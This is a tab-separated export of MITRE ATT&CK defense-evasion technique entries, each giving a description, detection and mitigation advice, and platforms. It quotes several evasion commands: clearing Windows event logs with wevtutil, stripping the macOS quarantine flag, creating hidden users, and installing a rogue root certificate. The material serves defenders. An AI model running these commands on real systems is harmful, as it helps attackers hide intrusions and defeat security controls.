T1140	**1**	**Technique**	**Deobfuscate/Decode Files or Information**	Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system. One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016) Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.	Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160). Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.	Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion	File monitoring, Process monitoring, Process command-line parameters	Windows	User	https://attack.mitre.org/techniques/T1140
T1089	**1**	**Technique**	**Disabling Security Tools**	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.	Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.	Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.	defense-evasion	API monitoring, File monitoring, Services, Windows Registry	Linux, macOS		https://attack.mitre.org/techniques/T1089

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1073	1	**Technique**	**DLL Side-Loading**	Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014) Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.	Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.	Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.	defense-evasion	Process use of network, Process monitoring, Loaded DLLs	Windows		https://attack.mitre.org/techniques/T1073
T1480	1	**Technique**	**Execution Guardrails**	Execution guardrails constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary's campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses. Environmental keying is one type of guardrail that includes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents) Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs). Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use guardrails and environmental keying to help protect their TTPs and evade detection. For example, environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) In general, guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) where a decision can be made not to further engage because the value conditions specified by the adversary are meant to be target specific and not such that they could occur in any environment.	Detecting the action of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.		defense-evasion	Process monitoring	Linux, macOS	User	https://attack.mitre.org/techniques/T1480
T1211	1	**Technique**	**Exploitation for Defense Evasion**	Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.Â Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them. Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1063). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.	Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.	Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape) Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.	defense-evasion	Windows Error Reporting, Process monitoring, File monitoring	Linux, Windows	User	https://attack.mitre.org/techniques/T1211
T1222	1	**Technique**	**File and Directory Permissions Modification**	File and directory permissions are commonly managed by discretionary access control lists (DACLs) specified by the file or directory owner. File and directory DACL implementations may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions) Adversaries may modify file or directory permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions such as Administrator/root depending on the file or directory's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files/directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files.	Monitor and investigate attempts to modify DACLs and file/directory ownership, such as use of icacls (Citation: Microsoft icacls OCT 2017), takeown (Citation: Microsoft takeown OCT 2017), attrib (Citation: Microsoft attrib OCT 2017), and [PowerShell](https://attack.mitre.org/techniques/T1086) Set-Acl (Citation: Microsoft SetAcl) in Windows and chmod (Citation: Linux chmod)/chown (Citation: Linux chown) in macOS/Linux. Many of these are built-in system utilities and may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. Windows Security Log events (Event ID 4670) are used when DACLs are modified. (Citation: EventTracker File Permissions Feb 2014)		defense-evasion	File monitoring, Process monitoring, Process command-line parameters, Windows event logs	Linux, Windows	User, Administrator	https://attack.mitre.org/techniques/T1222
T1107	1	**Technique**	**File Deletion**	Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process. There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)	It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.	Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion	File monitoring, Process command-line parameters, Binary file metadata	Linux, macOS	User	https://attack.mitre.org/techniques/T1107

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1006	**1**	**Technique**	**File System Logical Offsets**	Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009) Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)	Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy) Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1086), additional logging of PowerShell scripts is recommended.	Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion	API monitoring	Windows	Administrator	https://attack.mitre.org/techniques/T1006
T1144	**1**	**Technique**	**Gatekeeper Bypass**	In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won't set this flag. Additionally, other utilities or events like drive-by downloads don't necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X) In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS's gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)	Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as <code>xattr</code>. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.	Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.	defense-evasion	File monitoring, Process command-line parameters	macOS	User, Administrator	https://attack.mitre.org/techniques/T1144
T1484	**1**	**Technique**	**Group Policy Modification**	Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path <code>\\&lt;DOMAIN&gt;\SYSVOL\&lt;DOMAIN&gt;\Policies\</code>.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain. Malicious GPO modifications can be used to implement [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Disabling Security Tools](https://attack.mitre.org/techniques/T1089), [Remote File Copy](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1035) and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs) Publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code>&lt;GPO_PATH&gt;\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)	It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including: * Event ID 5136 - A directory service object was modified * Event ID 5137 - A directory service object was created * Event ID 5138 - A directory service object was undeleted * Event ID 5139 - A directory service object was moved * Event ID 5141 - A directory service object was deleted GPO abuse will often be accompanied by some other behavior such as [Scheduled Task](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).	Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as Bloodhound (version 1.5.1 and later)(Citation: GitHub Bloodhound). Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.(Citation: Wald0 Guide to GPOs)(Citation: Microsoft WMI Filters)(Citation: Microsoft GPO Security Filtering)	defense-evasion	Windows event logs	Windows	Administrator, User	https://attack.mitre.org/techniques/T1484
T1147	**1**	**Technique**	**Hidden Users**	Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).	This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.	If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the <code>/Library/Preferences/com.apple.loginwindow</code> <code>Hide500Users</code> value will force all users to be visible.	defense-evasion	Authentication logs, File monitoring	macOS	Administrator, root	https://attack.mitre.org/techniques/T1147
T1143	**1**	**Technique**	**Hidden Window**	Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system. ### Windows There are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>. (Citation: PowerShell About 2019) ### Mac The configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can beÂ <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)	Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.	Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.	defense-evasion	Windows event logs, PowerShell logs, Process command-line parameters, Process monitoring	macOS, Windows	User	https://attack.mitre.org/techniques/T1143
T1148	**1**	**Technique**	**HISTCONTROL**	The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that " ls" will not be saved, but "ls" would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.	Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.	Prevent users from changing the <code>HISTCONTROL</code> environment variable (Citation: Securing bash history). Also, make sure that the <code>HISTCONTROL</code> environment variable is set to "ignoredup" instead of "ignoreboth" or "ignorespace".	defense-evasion	Process monitoring, Authentication logs, File monitoring, Environment variable	Linux, macOS	User	https://attack.mitre.org/techniques/T1148

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1054	**1**	**Technique**	**Indicator Blocking**	An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.	Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data. Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: <code>HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\AUTOLOGGER_NAME\{PROVIDER_GUID}</code>	Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.	defense-evasion	Sensor health and status, Process command-line parameters, Process monitoring	Windows		https://attack.mitre.org/techniques/T1054
T1066	**1**	**Technique**	**Indicator Removal from Tools**	If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.	The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.	Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts. Identify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion	Process use of network, Process monitoring, Process command-line parameters, Anti-virus	Linux, macOS		https://attack.mitre.org/techniques/T1066
T1070	**1**	**Technique**	**Indicator Removal on Host**	Adversaries may delete or alter generated artifacts on a host system, including logs and potentially captured files such as quarantined malware. Locations and format of logs will vary, but typical organic system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/* . Actions that interfere with eventing and other notifications that can be used to detect intrusion activity may compromise the integrity of security solutions, causing events to go unreported. They may also make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred. ### Clear Windows Event Logs Windows event logs are a record of a computer's alerts and notifications. Microsoft defines an event as "any significant occurrence in the system or in a program that requires users to be notified or an entry added to a log." There are three system-defined sources of Events: System, Application, and Security. Adversaries performing actions related to account management, account logon and directory service access, etc. may choose to clear the events in order to hide their activities. The event logs can be cleared with the following utility commands: * <code>wevtutil cl system</code> * <code>wevtutil cl application</code> * <code>wevtutil cl security</code> Logs may also be cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086).	File system monitoring may be used to detect improper deletion or modification of indicator files. For example, deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft Clear-EventLog)) may generate an alterable event (Event ID 1102: "The audit log was cleared"). Events not stored on the file system may require different detection mechanisms.	Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.	defense-evasion	File monitoring, Process monitoring, Process command-line parameters, API monitoring	Linux, macOS		https://attack.mitre.org/techniques/T1070
T1202	**1**	**Technique**	**Indirect Command Execution**	Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.	Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)	Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)	defense-evasion	File monitoring, Process monitoring, Process command-line parameters, Windows event logs	Windows	User	https://attack.mitre.org/techniques/T1202
T1130	**1**	**Technique**	**Install Root Certificate**	Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental) Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish) Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017) In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)	A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017) Installed root certificates are located in the Registry under <code>HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\</code> and <code>[HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker) * 18F7C1FCC3090203FD5BAA2F861A754976C8DD25 * 245C97DF7514E7CF2DF8BE72AE957B9E04741E85 * 3B1EFD3A66EA28B16697394703A72CA340A05BD5 * 7F88CD7223F3C813818C994614A89C99FA3B5247 * 8F43288AD272F3103B6FB1428485EA3014C0BCFE * A43489159A520F0D93D032CCAF37E7FE20A8B419 * BE36A4562FB2EE05DBB3D32323ADF445084ED656 * CDD4EEAE6000AC7F40C3802C171E30148030C072	HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP) Windows Group Policy can be used to manage root certificates and the <code>Flags</code> value of <code>HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots</code> can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)	defense-evasion	SSL/TLS inspection, Digital certificate logs	Linux, Windows	Administrator, User	https://attack.mitre.org/techniques/T1130

